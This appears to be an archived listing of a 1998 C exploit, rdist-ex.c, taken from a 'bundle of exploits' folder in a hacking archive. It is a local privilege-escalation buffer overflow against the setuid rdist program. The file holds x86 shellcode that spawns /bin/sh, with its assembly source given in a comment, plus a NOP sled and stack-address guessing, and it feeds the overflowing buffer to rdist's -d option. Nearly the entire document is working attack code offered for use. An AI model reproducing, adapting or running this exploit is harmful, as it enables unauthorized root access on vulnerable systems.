home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rdist-ex.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  2KB  |  115 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. #define DEFAULT_OFFSET        50
  6. #define BUFFER_SIZE        256
  7.  
  8. long get_esp(void)
  9. {
  10.    __asm__("movl %esp,%eax\n");
  11. }
  12.  
  13. main(int argc, char **argv)
  14. {
  15.    char *buff = NULL;
  16.    unsigned long *addr_ptr = NULL;
  17.    char *ptr = NULL;
  18.  
  19. /* so you dont have to disassemble it, here is the asm code:
  20. start:
  21. jmp     endofk0dez
  22. realstart:
  23. popl    %esi
  24. leal    (%esi), %ebx
  25. movl    %ebx, 0x0b(%esi)
  26. xorl    %edx, %edx
  27. movl    %edx, 7(%esi)
  28. movl    %edx, 0x0f(%esi)
  29. movl    %edx, 0x14(%esi)
  30. movb    %edx, 0x19(%esi)
  31. xorl    %eax, %eax
  32. movb    $59, %al
  33. leal    0x0b(%esi), %ecx
  34. movl    %ecx, %edx
  35. pushl   %edx
  36. pushl   %ecx
  37. pushl   %ebx
  38. pushl   %eax
  39. jmp     bewm
  40. endofk0dez:
  41. call    realstart
  42. .byte   '/', 'b', 'i', 'n', '/', 's', 'h'
  43. .byte   1, 1, 1, 1
  44. .byte   2, 2, 2, 2
  45. .byte   3, 3, 3, 3
  46. bewm:
  47. .byte   0x9a, 4, 4, 4, 4, 7, 4
  48. */
  49.    
  50.    char execshell[] =
  51.    "\xeb\x23"
  52.    "\x5e"
  53.    "\x8d\x1e"
  54.    "\x89\x5e\x0b"
  55.    "\x31\xd2"
  56.    "\x89\x56\x07"
  57.    "\x89\x56\x0f"
  58.    "\x89\x56\x14"
  59.    "\x88\x56\x19"
  60.    "\x31\xc0"
  61.    "\xb0\x3b"
  62.    "\x8d\x4e\x0b"
  63.    "\x89\xca"
  64.    "\x52"
  65.    "\x51"
  66.    "\x53"
  67.    "\x50"
  68.    "\xeb\x18"
  69.    "\xe8\xd8\xff\xff\xff"
  70.    "/bin/sh"
  71.    "\x01\x01\x01\x01"
  72.    "\x02\x02\x02\x02"
  73.    "\x03\x03\x03\x03"
  74.    "\x9a\x04\x04\x04\x04\x07\x04";
  75.    
  76.    int i;
  77.    int ofs = DEFAULT_OFFSET;
  78.  
  79.    /* if we have a argument, use it as offset, else use default */
  80.    if(argc == 2)
  81.       ofs = atoi(argv[1]);   
  82.    /* print the offset in use */
  83.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  84.    
  85.    buff = malloc(4096);
  86.    if(!buff)
  87.    {
  88.       printf("can't allocate memory\n");
  89.       exit(0);
  90.    }
  91.    ptr = buff;
  92.    /* fill start of buffer with nops */
  93.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  94.    ptr += BUFFER_SIZE-strlen(execshell);
  95.    /* stick asm code into the buffer */
  96.    for(i=0;i < strlen(execshell);i++) 
  97.       *(ptr++) = execshell[i];
  98.    /* write the return addresses
  99.    **
  100.    ** return address                4
  101.    ** ebp                    4
  102.    ** register unsigned n            0
  103.    ** register char *cp                0
  104.    ** register struct syment *s            0
  105.    **
  106.    ** total: 8
  107.    */
  108.    addr_ptr = (long *)ptr;
  109.    for(i=0;i < (8/4);i++)
  110.       *(addr_ptr++) = get_esp() + ofs;
  111.    ptr = (char *)addr_ptr;
  112.    *ptr = 0;
  113.    execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
  114. }
  115.